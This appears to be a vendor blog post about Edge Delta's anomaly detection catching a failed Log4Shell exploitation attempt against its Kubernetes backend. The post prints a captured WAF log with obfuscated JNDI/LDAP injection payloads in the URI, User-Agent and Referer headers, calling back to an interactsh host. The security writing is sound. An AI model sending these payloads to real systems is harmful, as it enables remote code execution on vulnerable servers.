.avif)
This blog post covers a recent, unsuccessful Log4j vulnerability exploitation attempt detected by Edge Delta self-monitoring its backend systems. Concepts like machine learning or anomaly detection are periodically questioned amongst observability and security teams due to the risk of false positives and noise. Yet, when done effectively -- with no input required from DevOps or Security experts -- statistical deviations and anomalies can be proactively detected and alerted on in real-time. In a world where we cannot expect any human to foresee all potential attack vectors prophetically, anomaly detection can become a powerful and essential tool -- and one that never sleeps or takes a day off.
What is Log4Shell and How do Attackers Use It?
To be clear, this is as big as it gets. Log4Shell is a Remote Code Execution (RCE) with a severity of 10 out of 10. Log4j is a widely used Java logging library employed by many different commercial and open-source software offerings running on countless systems. On December 9, a severe zero-day remote code execution vulnerability (CVE-2021-44228) was discovered in Log4j. This vulnerability -- Log4Shell -- allows an attacker to manipulate the server by injecting text log messages. The log payload will cause the server to load and execute malicious remote code using Java Naming and Directory Interface (JNDI). This interface can be used to address and load Java objects leveraging different protocols such as LDAP, RMI or CORBA, and to take over the control of running server processes.
Given the widespread usage of Log4j, cybercriminals running botnets have been probing every corner of the internet to find exploitable servers. Within two days of the zero-day vulnerability being released, a wild statistic, the amount of servers trying to use the attack vector jumped up by 100x. The result is massive, and one that we will continue to see the impact of for literally the next decade.
Protecting Against Log4Shell with Zero Pre-Configuration
Edge Delta uses no Java software or vulnerable technology components throughout any backend or production systems, and therefore was not affected by the vulnerability. Hence our security team focused on evaluating the status of external vendors to identify IOCs and act against this vulnerability properly.
Edge Delta delivers Findings, which are automatically generated reports or configurable alerts that detect instances of anomalous activity in the underlying data. Anomalous activity can be several different things, and typically these are cases where the current statistics, events, and insights deviate significantly from established baselines (recent windows, day over day, week over week, etc.). When an anomaly is detected, a Finding will be generated, reporting the exact window of time, affected systems or metadata, as well as a pinpointed capture of the relevant raw data that contributed to the anomaly.
On December 12, at 9:02:40 AM PT the anomaly started when our system noticed two abnormal events pertaining to the unsuccessful zero-day attack:
One second later, at 9:02:41 AM PT, another event also added context:
"request": {
"method": "GET",
"http_version": 1.1,
"uri": "/?x=${jndi:ldap://${hostName}.REDACTED.interactsh.com/a}",
"headers": {
"Host": "REDACTED",
"User-Agent": "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.REDACTED.interactsh.com}",
"Connection": "close",
"Referer": "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.REDACTED.interactsh.com}",
"Accept-Encoding": "gzip"
...
}
},
"messages": [
{
"message": "Remote Command Execution: Windows Command Injection",
"details": REDACTED
},
{
"message": "Remote Command Execution: Unix Shell Expression Found",
"details": REDACTED
},
{
"message": "Remote Command Execution: Unix Shell Code Found",
"details": REDACTED
},
{
"message": "Inbound Anomaly Score Exceeded (Total Score: 15)",
"details": REDACTED
}
]
At this time, the internal Edge Delta monitoring platform generated a finding report based on automated statistical patterns and findings correlated from various logs and Web Application Firewall (WAF) events. All of our backend and frontend servers are monitored by multiple WAF solutions, running a slightly customized OWASP ModSecurity Core Rule Set to protect against different web threats. Logs of these systems and many other various sources were analyzed by Edge Delta.
This specific report notified unusual activity from Kubernetes Ingress Controller with the above context payload. Attackers use projectdiscovery/interactsh to send malicious requests, expecting to trigger a Log4j vulnerability and load their remote code via LDAP.
Although the backend service is not vulnerable in this case, the Edge Delta real-time anomaly detection was able to identify the anomaly, understand it to be a substantial deviation, and alert on these attempts -- all within 79 seconds and with zero pre-configuration from a DevOps or Security engineer:
Acting on Exploits with Edge Delta Security Insights
Block lists, rule sets, and detection engines are invaluable tools to detect attacks. However, they have the potential to be very noisy. Years ago it was feasible to try to centralize all raw datasets, index that data, then start to query and correlate on it. However, with today’s data volumes, it is ineffective to move massive amounts of raw network data before starting to analyze them.
This is a scenario where Edge Delta’s differentiated, flexible deployment model provides value through distributed queries, federated machine learning, and edge computing. In the above case, the Edge Delta deployment was extremely simple. An AWS Load Balancer distributes traffic to multiple ingress controllers in different Availability Zones, running on Kubernetes. The ingress controller checks the traffic with a ModSecurity module and distributes it to API service pods. If the module detects suspicious activity, it creates an audit dump and audit sidecar exports (like the summarized and redacted sample given above) to standard output.
Edge Delta agents analyzes logs from the load balancer, ingress controller, audit sidecar, and API deployment pods. Using zero-configuration log pattern detection, metric anomaly scores generate actionable insight about change in the system behavior. While doing so, it archives then suppresses irrelevant events that might distract and overwhelm the operations team -- only notifying high relevancy events.
Proactively Detecting Threats with Edge Delta
As is the case with this attempt to exploit the Log4j zero-day vulnerability, Edge Delta removes the need for DevOps or Security engineers to define anomalies or to sift through noisy events and false positives. Today, it is impossible for organizations to function with the assumption that engineers can react to every vulnerability or exploit 100% of the time, within seconds. Out of the box, Edge Delta detects anomalies and statistical deviations utilizing pattern analysis and subsequent machine learning.
In summary, Edge Delta -- a real-time observability platform using distributed stream processing to provide advanced pattern recognition, anomaly detection, and findings reports -- successfully identified the attack attempt within 79 seconds. The impact is a vastly quicker time-to-detection of threats with no pre-configuration or prior knowledge or expertise about specific exploits, such as the Log4j vulnerability.
